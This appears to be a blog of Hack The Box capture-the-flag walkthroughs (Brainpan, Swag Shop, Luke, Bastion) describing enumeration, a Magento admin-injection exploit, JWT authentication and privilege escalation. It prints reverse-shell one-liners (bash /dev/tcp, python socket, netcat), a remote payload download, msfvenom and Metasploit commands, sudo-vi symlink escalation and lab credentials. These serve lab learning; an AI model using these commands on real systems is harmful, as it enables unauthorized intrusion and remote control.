Well that was worth a check!

Matching Defaults entries for puck on this host:
env_reset, mail_badpass,

User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

So we can run that program in the home directory.

Running it we get a help file:

So the most interesting there is “manual [command]”

Can we do any command like read the shadow file?

That’s strange as the /etc/shadow file does exist.

Maybe I don’t need the quotes?

That’s a bit of an odd error. I can input data, how about !/bin/bash

Alright, we are root!

A quick look for a flag.

No flag. But we are root on brainpan!

There we have it! The most basic Stack Buffer Overflow but a good lesson in each step. Hopefully this has been pretty clear and helpful. Give me a shout if anything doesn’t make sense or I’ve got anything wrong!

I almost forgot.

Root Dance!

Hack The Box – Swag Shop

So it’s that time again, let’s see how far we can get with a meant to be straight forward Hack the Box box!

First up, we run our nmap scan

nmap -sC -sV -O -oA nmap/swagshop

We get 2 results back:

We have SSH and HTTP open. Looking at the apache code (2.4.18) this version was released on 3-March-2016. This is strange and might straight away give us an indication of where we need to look.

The HTTP result is also odd as it shows an 503 error. Let’s jump in and see what’s on the webpage.

Heading over there, we do in fact get an error page:

We straight away get 2 really useful bits of information, the fact this is running Magento, which is an Adobe eCommerce product. Also that the copyright is 2014, I wonder if that means we have a really old version of this too.

Let’s run a dirb on this to see if we have any more results

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

I use the 2.3 medium as standard. I think for HTB the small would probably be fine, but I have time, so why not run the more in depth scan.

(Dirb does then run through each folder recursively which is really useful, but also comes back with a lot of info, so here is the high level results!)

Having a look through the results, there are a lot of things set up for the shop, pictures of the products, logos and gifs. The /shell/ directory looks interesting, but we get this result for each of the scripts:

Which you know, makes sense. Running through some more options, we try /downloader/ and bingo:

Here we get the version number and the copyright year of 2014 ties in with what we have already seen. So let’s check the changelog and any exploits for this version.

I’ve found this blog: https://support.alertlogic.com/hc/en-us/articles/115005913586-01-03-18-Magento-1-8-1-9-Connect-Manager-PHP-Upload-

This describes an exploit via arbitrary PHP upload. I’ve run into a problem though:

 A caveat for this exploit requires an attacker to obtain administrator credentials (users with “all” privileges also work) to the Magento instance.

So we need to go credential diving in all the other resources available on this webpage! Before we jump into all that, lets see if there are default creds we can use.

I had a google round and one bit of advice was to look at the downloader/connect.cfg page. So I did. I don’t think it’s useful right now, but I’m putting it here as it might be later:


Knowing where the application is installed is always useful in case we need to folder traversal later on: /var/www/html/downloader/

Unfortunately it looks like you create the creds during the install, so no easy default creds for us.

Let’s go hunting instead, and as a plan B, we will try Burp Intruder as a brute-forcer. But this seems overkill when we don’t even have a username yet!

There are so many files!!

While getting bored of going through files, my mind wandered and I wondered if there is any virtual host routing going on. So I added swagshop.htb to my hosts file and went to swagshop.htb

We have any actual site. I wondered if this was virtual host routing, so went back to just the IP. Same result. The box must have been reset and the website has become unfucked. Thanks random other user on the free server! 🙂

So, rather than digging through all that, let’s have a poke around the actual website!

There is an account part, let’s see if we can register and if this will give additional information:

Ok, we can register and log in. A quick check if this login can be used on the connect manager results in a denied. Not a surprise, but I like easy wins (one day i’ll get one)!

While we are at the log in idea. Heading back to the main site, we have a valid user, if we get the password wrong for a valid user, we get an error of:

If we try with an account that’s not going to be there (e.g spaceman@space.com), we get the same result. So there is no credential leakage this way.

From the poking around we did earlier (http://swagshop.htb/app/etc/config.xml), we know that in the background there is an SQL database,

<connection><host>localhost</host><username/><password/><dbname>magento</dbname><model>mysql4</model><initStatements>SET NAMES utf8</initStatements><type>pdo_mysql</type><active>0</active></connection></default_setup>

We could therefore see if there is some SQLInjection available. Looking at the search box, we do a search of hello and the url that comes back is:

This is querying the database behind the system. So let’s have a go.

sqlmap -u ""

The results are in and it doesn’t look like this is vulnerable to SQL Injection.

Let’s log in and have a poke around this dashboard. Knowing what we already found, I’m looking for any sort of username and password that would have admin privileges. Doesn’t appear to be anything of use in the dashboard.

Ok, finally we potentially have a small break. There is the About Us page:

Could John Doe be a user. Potentially.

Let’s go back to the config.xml page we found earlier as in there is a filesystem:

Oddly, a lot of these don’t seem to work.

Another page that we did stumble across later on was /app/etc/local.xml. This gives a username and password for an SQL instance on localhost by the look of it:

Let’s keep those creds for later!

Another interesting part of the site, is within the index.php. There are more directories deeper, running another dirb:

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We get a few results, but the most interesting was admin.

So with that knowledge and now 2 log in opportunities. What can we do with them?

I headed back to google and wondered if I’d missed something obvious, searching for Magento exploits I came across this:


Maybe it is SQLInjection! Let’s run through this and see what we can find!

I decided to run sqlmap again, with the same as before. A line I missed previously was:

[18:31:43] [INFO] heuristic (XSS) test shows that GET parameter 'q' might be vulnerable to cross-site scripting (XSS) attacks

So we might have some XSS on this.

While all my tools were re-running, I had another poke about the website. This time I found myself in /var/cache, this appears to have cached all the SQL tables:

Rather than going through all of them one by one. I’m going to download the whole lot and do some grepping on them.

wget -r

Now these are all downloaded, we can do a grep for “admin” “user” “password” and see what we get.

I didn’t find anything overly useful in there. A lot of information, but nothing else.

While the box was resetting I did a bit more googling, and there looks like there might be a RCE available:


So the pre-requisites of this are:

to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)

Out of the items available, a t-shirt is definitely the most rad, so let’s buy one of those.

Adding that to basket and proceeding to checkout. Let’s checkout as Guest (rather than registering)

Filing in all the shipping address. Turn on Burp intercept and click Continue.

Go through the next stages and at the final Place Order button we get a post request.

So we have our valid guest cart ID, I think:


Let’s try using that with the exploit. The exploit downloads as a PHP, so that’s a bit odd.

I’m not too sure what to do with this, so I went back to google and found a metasploit module.

I’m not a huge fan of going straight to msf, especially as it can’t really be used in OSCP, however. I need a win right now. (Querier has killed me completely)

So, lets open msfconsole

use exploit/multi/http/magento_unserialize

A bit of googling and the issue is summed up nicely:

"Magento is prone to a remote code-execution vulnerability because it fails to properly sanitize user supplied input. 
Specifically, this issue occurs because it fails to properly restrict a user to set malicious '_data' property of 'payment' instance 
through 'method' variable of 'getData()' function. An unauthenticated attacker can exploit this issue to execute arbitrary PHP code on the server through REST or SOAP APIs."s

So I set all the options, which were just RHOSTS and TARGETURI

I got an error in return:

So we go and look over there:

A quick look shows that it’s not my IP address. So let’s try not on the index.php targetURI. Also no good.

After a box reset, I tried this again.

Still no good. Ok this isn’t the route we wanted to do anyway!

I keep coming back round to the fact there are 2 login pages there should be creds somewhere!

As a change of tact, from trying to get RCE or a reverse shell straight off the bat. I googled if there was a way to add an extra admin account.

So, there is an exploit called ShopLifter. What this done is uses some very clever SQL injection to add a new admin user into the system. I took the code from this github page.

So what this does, is adds in a new admin account. Reading through the script it adds a user with the username ypwq & password 123.

Wondering if this is on the right lines, I went to the 2 log in pages and tried the user without running the script.

Bingo, I was able to log in onto both management areas. I assume this is from other people leaving a trail, rather than poor misconfiguration.

Anyway, we want to do the exploit and see if it works ourselves.

Looking at the script, we can edit it slightly to use any username and password, so I make a couple of changes

Now, we have 2 places to attack, but the script mentions index.php/admin so we just need to give it the web address.

python add_admin.py

The script has come back and said it has worked. You’ll notice the URL is wrong though. Let’s give it a go anyway.

First over to /index.php/admin

We are in! Huzzah!

I wonder if the new account works on the downloader page too.

We are! So we now have 2 main areas to look around in.

The downloader immediately pops out with a Direct package file upload. Could it be as easy as putting up a php reverse shell? We take the reverse shell script from pentestmonkey and change our IP address.

Get a listener set up on the port

nc -nvlp 9006

Uploading the .php file.

This result was not unexpected but it’s always worth a try.

So, lets do some googling, is there any file inclusion or other exploits we have access now we are an admin user. After not too long we find this exploit: https://www.exploit-db.com/exploits/35052

This tells us that the mass importer allows uploads of PHP files without any sanity checks. This seems good. All we need to go is zip the file (so it looks like a legit plugin) and run the script to extract the payload. Then we can visit the site via magmi/plugings and our plugin should be there.

Before we do it, let’s make sure magmi and plugins exist. Heading to:

All bring back 404 errors. So I’m not sure if this is an extension we can use and due to it being on a VPN, we can’t use our admin creds to install additional plugins.

However, we did find this exploit earlier. The caveat was we needed admin credentials, which we do now have!

Another interesting thing to note, is this box goes down so often. It looks to get put into some sort of maintance mode all the frikkin time, looking at the connect manager there is a default ticked button at the top:

So this would be another clue that we need to do a direct package file upload, so we need to follow the exploit above.

First up, what do we want in our zip file? Ideally a php reverse shell script.

Then we also need an xml file, which magento will read. So let’s get those sorted. First, for the xml file, let’s try using the most basic one available. Let’s try hello world!

nano helloworld.xml

Paste in:

<?xml version="1.0" encoding="UTF-8"?>
  <para>hello world</para>

Save and exit. We then need our php-reverse shell, which we got earlier from pentestmonkey. We then need to zip the files together

zip yekki.zip helloworld.xml yekki.php

We now have a zip file. Let’s untick the box above, so others can still use the box. Then upload our zip and see what happens.

Again, we got the same error as above. Time to change tack.

Looking again through the Admin Panel, I notice under CMS there is a Manage Page option. I wonder if we can just make a new page.

There is an option “Add New Page”. Let’s add this called yekki.php

Under the Page Info, we add the Title of Yekki and URL key of yekki.php

In the content, we copy in the php reverse shell code. Changing the ip address and port to match our system and nc listener.

Under Design, we change everything to basic and try to keep it all as simple as possible. Click Save and Continue Exit.

Let’s see if we can see the page. Heading over to:

The page is there, but the reverse shell doesn’t start. Instead the page loads, sad times!

I was really hoping by uploading and going there, it would work. Never mind! Let’s keep digging!

After a bit more googling, I find this github: https://github.com/astorm/MagentoTarToConnect

This can convert our php file into the connect upload format. So let’s try this out with our php reverse shell file.

Running this with my php file, got me a shell. It was however local, before I went near the application. I’m not too sure this is the way forward.

I had a bit of a break and then came back and found some god-awful youtube video’s. You know the ones, typing on a terminal and terrible background music. Well this one: https://www.youtube.com/watch?v=BbVk67f0OCE

Interestingly had a link to the filesystem extension. I’d seen this in my travels, but assumed as I didn’t have web access, couldn’t get the extension.

So I downloaded it, off I went to /downloader to upload the new extension.

After I click upload, I get an error:

CONNECT ERROR: Unsupported resource type

Bugger. A quick check shows that it has not appeared where it should have.

——–The Next Day——–

So this had bugged me for a day, so I went back on the research and found a full download: https://www.magecloud.net/marketplace/extension/file-system/

I had to register, so used a temporary e-mail from https://temp-mail.org/en/

Downloading the Filesystem tgz file was easy. Heading over to the /downloader/ admin portal, we untick the box at the top so we don’t put the box into maintenance mode and select the file to upload.

Clicking Upload takes me to the box at the bottom, some green text which again states

CONNECT ERROR: Package file is invalid
Invalid version, should be like: x.x.x
Invalid stability
Invalid channel URL
Empty authors section
Empty package contents section

Excellent, well that’s a bundle of joy isn’t it!

Let’s instead head back to our favourite search engine and see if there are any other extensions we can add on. A bit more searching and we come across another github page: https://github.com/lavalamp-/LavaMagentoBD

A quick and dirty php shell, I’d be happy for that to work. Let’s have a go!

Heading over to /downloader/ and logging in with our new creds, let’s try the upload. The green box of doom, this time:

Looks like a success! So the readme then says we need to navigate to: /index.php/lavalamp/index

The page loads! It’s empty, but it loads! I take that as a win as the shell must have uploaded otherwise we would have got a 404! Let’s look into the code and see what it’s doing, do we need a listener on a port or is this meant to be an interactive shell.

The instructions say: “The shell is a simple command shell that will take $_POST[‘c’], pass it to shell_exec, and echo back the contents.”

So where would we put in that POST, maybe as a request in Burp? Let’s try that as a post request.

In Burp, we intercept the request and send it over to repeater. Changing the request to a POST request, at the bottom we try:


Success!! We are running as www-data!

So let’s head over to highon.coffee and get a reverse shell 1 liner.

bash -i >& /dev/tcp/ 0>&1

Also set up a listner

nc -nvlp 9005

And… the site loads and we do not get a reverse shell. So maybe it’s not a bash shell. Is there an easy way to find out? We can’t cat /etc/passwd which would be my normal route, as cat doesn’t appear to work.

As it’s done via php, maybe we need a php reverse shell 1 liner, rather than bash.

/usr/local/bin/wget -O /var/tmp/shell.php 2>&1

Let’s try this and we will host our normal php reverse shell using python simpleHTTPServer

No good sadly.

Let’s keep trying, as we need a reverse shell here

/bin/sh | nc 9005

Still no good, however the issue I have been having, is I had single quotes around each expression, which was breaking things. So a quick look without those and we have cat back.

cat /home/haris/user.txt


I’m suprised that www-data who is the user we are on has access to read that file, but I don’t mind. That’s a win!

So, now we have a bit more confidence, let’s try and get a reverse shell or a password for ssh!

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Again, not working.

Having a poke around instead we look at /etc/, sudoers is a file there and it looks like we might have sudo on vi:

So let’s try

sudo vi /root/root.txt

Nothing comes back. Same with sudo vim /root/root.txt

I guess because vi is an interactive editor, it’s not something that would come back via the command line. Again, I feel we need a reverse shell or to be able to log in via ssh.

Let’s change tactic and see if we can find a password for the account, then we would be able to ssh in which would make life a lot easier.  Trying a search for password

c=grep -iR password .

Gives us a load of results, the one that look most interesting are:

./install.php: * --admin_username admin --admin_password 123123 \
./install.php: * --db_pass // required, Database User Password
./install.php: * --admin_password // required, admin user password
./lib/PEAR/Net/URL.php: * Password
./lib/PEAR/Net/URL.php: var $password;

So let’s take a look at the install script and see if there is a hardcoded password.

All we have is this:

* –admin_lastname Owner –admin_firstname Store –admin_email “admin@example.com” \
* –admin_username admin –admin_password 123123 \

This is commented out and a password of 123123 doesn’t seem likely as that would be very easy to brute which I don’t think would be the way for a CTF.

So, I went back and spent some more time trying to get a shell, I thought i’d try using metasploit, so I created a elf payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=9002 -f elf > shell.elf

I put this up onto my webserver

python -m SimpleHTTPServer 9001

Downloaded it onto the box, via my command execuation in burp


Started a metasploit listener

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

Set up the options for host and port. Ran the exploit on the box and boom, we have a reverse shell! That took way longer than it should have and I can’t explain why my normal bash shells kept dying straight away, but anyway, onwards and upwards. Let’s go root flag hunting!

Having a hunt around, we find the SQL database password found in:



Let’s see if there is an SSH password in the SQL database. We get an access denied when trying to access the SQL database.

I’ve now run LinEnum.sh and I know that we have sudo abilities on /usr/bin/vi so let’s re-run through the basics:

sudo /usr/bin/vi /root/root.txt

We run into an error:

sudo: no tty present and no askpass program specified

So a bit of googling mostly tells us to change the sudoers file, unfortunately we can’t do that as only have read and execute on the file.

I think this is due to the fact we are in a rubbish restricted shell, we have earlier tried out python method to upgrade our shell, that didn’t work but let’s try it with python3:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Hooray, we now have  bash shell. Let’s try this again

sudo vi /root/root.txt

We get prompted for a password, odd.

So let’s go back to what the sudoers file actually says:

www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*

Does this meant that we can only use sudo vi for files that are within the /var/www/html directory?

Let’s try, first we need to create a symbolic link (we have done this before on some previous boxes)

ln -s /root/root.txt hello.txt

Our symbolic link is created:

Now we can try again

sudo /usr/bin/vi /var/www/html/hello.txt

Success! We get the root flag, and the details to go to the shop! Excellent!


This was a very annoying box, with the website going down constantly and I had to upgrade to VIP. If I hadn’t of done that, I would have given up a fair while ago!

From there, the magento add-ons were frustrating to try and find but I am happy that I understood the exploit and how to do the RCE through Burp. Then I have also learnt a new skill about sudo and limiting that down to only certain folders, I can see that being really useful for the future!!

Now, to go and buy some swag!!


Hack The Box – Luke

Here we go again, this time we are looking at Luke. What do we know before we begin? Very little, apart from it’s a FreeBSD box on the IP

So let’s start the same way as always!

nmap -sC -sV -O -oA nmap/Luke

We get a few ports that show as open:

Nmap 7.70 scan initiated Sun Jun 23 14:22:36 2019 as: nmap -sC -sV -O -oA nmap/luke
Nmap scan report for
Host is up (0.087s latency).
Not shown: 995 closed ports
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| FTP server status:
| Connected to
| Logged in as ftp
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 23 14:25:51 2019 -- 1 IP address (1 host up) scanned in 195.57 seconds


So we have 5 ports open, 3 of which are webservers and one which allows Anonymous FTP!

I know where I’m going to start! Let’s start by setting 3 dirbs running in the background while we investigate the FTP server.

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port80.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port3000.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port8000.txt

While they are running, let’s take a look at the FTP server. Nmap has already told us we can log in anonymously, so let’s give it a go

ftp 21

We get prompted for a password, entering anything gives us access.

We can see there is 1 folder called webapp. Within there is a file called for_Chihiro.txt

Let’s get that back to our box

get for_Chihiro.txt

We now have this on our box. Cat’ing the file shows it contains a message:

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !


Now, what the fuck does that mean?! I’m guessing maybe we need to look at the source of each of the websites on each of the 3 webservers!

Shall we start with the old fashioned port 80.

Heading over to the website we get a very basic website, with some text and 3 links which take you to further down the page. From looking at the source we do know that there is a lot of javascript on the website.

Unfortunately I know absolutely nothing about javascript or how to exploit it. Let’s see if our dirb came back with any results for this webserver.

It came back with a few pages and directories








Management, LICENSE and index look quite interesting, lets have a look.

First up, management. We get a pop up!

If we can find some creds, I know where I’m coming back to.

LICENSE shows the MIT License, I think this is for the bootstrap JS stuff we saw earlier.

Index is the main page that we see, which I don’t think has much on.

In terms of folders, member is empty, css is just the display schemes, vendor has a list of all the javascript used:




It looks like the jQuery is v3.3.1, jQuery Easing is v1.4.1 and Bootstrap is v4.2.1.

We may come back to these for exploits or at least more googling and the version numbers are bound to be useful.

The final folder, is /js/ This just looks to contain the scrolling-nav, which the hotlinks use to scroll down the page.

As I have no idea what we could even do here, let’s go look at the other ports.

Port 3000 appears to just have some JSON on it

This looks a lot like what we found on Port 3000. We quickly ran away then but maybe another viewing of ippsecs video will give us a hint.

However, the dirb that I ran did find 3 directories:




Let’s go check them out.

Both Login and login give a JSON message, it’s the same on both and simply says:

"please auth"

Users has a slightly different answer:

success false
message  "Auth token is not supplied"

It’s not much better!

Let’s skip over these for now and head over to port 8000. Aha, slightly more interesting:

It’s a login prompt. So we have 3 areas that require auth:

Now, just to find some creds I guess!

The directory wordlist that I used was a different one to normal, so I’m going to try using dirbuster which isn’t my favourite to look at but gives good results with my normal wordlist:


Let’s see if there is anything extra we get.

We get an additional hit on port 80 which I’m not sure how we missed first time around:


This gives us some db information:
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

So we have a username and password, potentially. Let’s go see if it works on the logins!

So trying that password with:




Unfortunately none of these worked with that password.

I have also gone back to basics and looked at the default password for Ajenti which is:


This also doesn’t work, but would indicate it could be where the root password goes.  Looking at searchsploit for Ajenti we have 1 hit:

It’s cross-site scripting. Not too sure how useful that will be here.

I think maybe we need to go back to the javascript on the main webserver and have a look at what we have.

The one thing that keeps bugging me is port 3000 and the message please auth or auth token is not supplied for users.

Maybe we can use the password as an auth token? Event getting a list of users at this point would be good.

Thinking about the list of users, there is the directory /users/ we tried that earlier and got a please auth message. What if we try some user names after that so /users/chihiro

We get:

Whereas if we try derry we get:

What this means, is we get a different result for a real user, therefore we can enumerate usernames.

So let’s put that request through burp and send it over to intruder. Dirb has a good name list which is available at /usr/share/wordlists/dirb/others/names.txt

So in Intruder, we set the position around derry

We load in the wordlist under Payload (Simple List) and add in a few others including derry, luke and admin. Then within the options we add under Grep Match

Hit start attack and let’s watch the results come pouring in! After we hit start attack we filter out any 404 errors!

I have just realised that doing a match isn’t the best, as what if there is a website that loads straight away, we won’t see if as it doesn’t match our expected outcome.

So re-running the test without that grep. Anything that doesn’t load will still come back as a 404 so we can filter those out.

While that was running, a colleague had mentioned trying curl (not sure if he knows something I don’t, has read something or is just also clutching at straws), so I looked at some curl commands to see if we could get any more clues.


{"success":false,"message":"Auth token is not supplied"}

Hmm ok, how about /login

"please auth"

So, let’s try and add authentication, we have a username and password

curl --user root:Zk6heYCyv6ZE9Xcg

Another “please auth”, so wrong user or password or syntax/format. Let’s try some other users.

curl --user admin:Zk6heYCyv6ZE9Xcg
curl --user Admin:Zk6heYCyv6ZE9Xcg
curl --user superadmin:Zk6heYCyv6ZE9Xcg
curl --user SuperAdmin:Zk6heYCyv6ZE9Xcg
curl --user administrator:Zk6heYCyv6ZE9Xcg
curl --user Administrator:Zk6heYCyv6ZE9Xcg
curl --user derry:Zk6heYCyv6ZE9Xcg
curl --user Derry:Zk6heYCyv6ZE9Xcg

All the exact same result:

I guess we wait for the Burp Intruder to finish and see if we have any other usernames we can try out.

After what can only be described as …..ages….. I remembered that intruder is very slow on burp community edition. However, we are enumerating directories, why don’t we go back to dirbuster for this!

So, running dirbuster, much quicker we get a list of users which exist:

That runs super quickly and we have another couple of usernames:




So, we can now try logging into each auth prompt with these 2 additional usernames. None of the 3 direct auth prompts work for either username with the password found from the config.php file.

Heading to /users/<name> still gives the “Auth token is not supplied”

This is, frustrating to say the least!

Doing some research and finding some pretty diagrams to explain JWTs it look slike we need to authenticate to /login with a username and password, then the server will create a JWT which we can then use the get to all the other subdirectories.

So the big question is how do we authenticate using /login which doesn’t have any sort of GUI. We will need to do this by putting the requests directly in a POST request, however we don’t know the field names for username and password, we don’t know which user to use or even if the password is correct.

That’s far too many variables for my liking!

With this new knowledge, I did some more googling on authenticating to express JS, I revisitied the idea of CURL that we did earlier and read through this article: https://medium.com/@evangow/server-authentication-basics-express-sessions-passport-and-curl-359b7456003d

This showed:

client $ curl -X POST  http://localhost:3000/login -c cookie-file.txt -H 'Content-Type: application/json' -d '{"email":"test@test.com", "password":"password"}'You were authenticated & logged in!

So, I knew that we didn’t have an e-mail, but maybe it was username, so I tried that. I figured at this stage, we needed this to be admin but I was ready to do a lot of manual trying through all the usernames if that didn’t work.

My final request was:

curl -X POST -c cookie-file.txt -H 'Content-Type: application/json' -d '{"username":"admin", "password":"Zk6heYCyv6ZE9Xcg"}'

This resulted in:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxODg2NDQzLCJleHAiOjE1NjE5NzI4NDN9.-I_yLS8xOvod3dCyGeKqdmUrClsfXW7ESf_GaZF540E"}

We now have a token!

Next step, how to use that!

Firstly, I was interested to see what the token was made up of, so I went over to calebb.net which decodes JWT tokens, the results showed:











So the username is admin, it has a code and an expiry date (I assume), it doesn’t really help us but it’s interesting to know what’s there.

Looking at a JWT for beginners page here: https://jwt.io/introduction/

It mentions:

“Whenever the user wants to access a protected route or resource, the user agent should send the JWT, typically in the Authorization header using the Bearer schema. The content of the header should look like the following:

Authorization: Bearer <token>"

Therefore, we are going to include that in Burp and see what we get.

We forward the request and get:

We get Dory’s username and password!

So, going through all the users we have found, we get a list of usernames and passwords.

Now that we have these, let’s head over to our login pages and see which works where.

First up, port 8000 for ajenti log in.

Unfortunately all 4 sets of creds still give us auth failure.

Let’s head over to port 80 /management and /login and see what we have,

Within management, the credentials for Derry worked and we get:

First up is config.json which has 1 very interesting line in it:

ajenti.plugins.munin.client.MuninClient "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}"

So we will check that out.

Config.php is the document we found earlier with the mysql creds.

Login.php takes us to the login page that we found earlier.

So let’s go take a look at port 8080/munin. Unexpectedly that doesn’t exist, if it did our port scan earlier would have caught it. Nothing works on the main login page either.

So somewhere, we have missed something.

Let’s look at our progress here. We found config.php on port 80, which gave us the creds to get the JWT token on port 3000. Then from there, we got the creds for Derry that let us get into management on port 80. From there it appears to be a deadend. I think we need to re-look at that, we must have missed something.

The full config.json might be where to go back to:

"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
"password": "KpMasng6S5EtTy9Z", 
"permissions": []
"language": "", 
"bind": {
"host": "", 
"port": 8000
"enable_feedback": true, 
"ssl": {
"enable": false, 
"certificate_path": ""
"authentication": true, 
"installation_id": 12354

So what I missed before, was the other password of KpMasng6S5EtTy9Z. This doesn’t appear to have a username attached with it, but maybe we can try some obvious ones, like root, admin etc.

Root did the trick! We are into the interface!

You may notice what I did straight away. There is a tool called “Terminal” let’s try that first!

It works! We have a terminal on the box, a very quick look around and boom, we have the user flag!

Amazing, we got the user flag!

Also what you might notice, is that cheeky whoami told me that we are root. It can’t be that easy can it?

Oh. It was that easy.

Well, that was Luke! I feel we learnt a lot about JWT creation. How to authenticate with it and bit of a hunt for creds and reminding ourselves that good enumeration is key!

There could definitely have been some priv esc, but I wonder if it’s because it’s FreeBSD and people aren’t too familiar with it? Anyway, a fun box and learnt a heap! Good times!

Hack The Box – Bastion

Let’s have a crack at Bastion. It’s been released for 2 days, so far the User is seen as “Easy” with root being “Easy”/”Not too Easy”

So things we know straight up. It’s a Windows box with the IP of

First thing first, lets run an nmap scan on it:

nmap -sC -sV -O -oA nmap/bastion

The results are in, we have 4 ports open:

  • 22 – SSH
  • 134 – MSRPC
  • 139 – netbois-ssn
  • 445 – microsoft-ds

The host scrips brings back some potentially interesting results:

Host script results: 
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb-os-discovery: 
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) 
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00 
| Workgroup: WORKGROUP\x00 
|_ System time: 2019-04-29T19:00:50+02:00 
| smb-security-mode: 
| account_used: guest 
| authentication_level: user 
| challenge_response: supported 
|_ message_signing: disabled (dangerous, but default) 
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required 
| smb2-time: 
| date: 2019-04-29 18:00:49
|_ start_date: 2019-04-29 17:50:00

I’d say the ports 139/445 (SMB) are where we really need to look at first.

We have done this is on some previous boxes, but before we first digging. Let’s do a full port scan, there might be stuff hiding on high ports? Let’s run this in very verbose mode so any results come up straight away:

nmap -sC -p- -vvv -oA nmap/bastion-all-ports

We will also run an additional UDP scan to see if there is anything hiding there:

nmap -sU -O -oA nmap/Bastion-UDP

Well, I’m glad I did the full port scan, look at these results:

5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127

So, lets look closer at those ports.

nmap -sC -sV -O -p 5985,47001,49664,49665,49666,49667,49668,49669,49670 -oA nmap/Bastion-HighPorts

I probably didn’t need the -O as we already know the OS version from earlier, being Windows 2016 Standard.

The results are in:

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
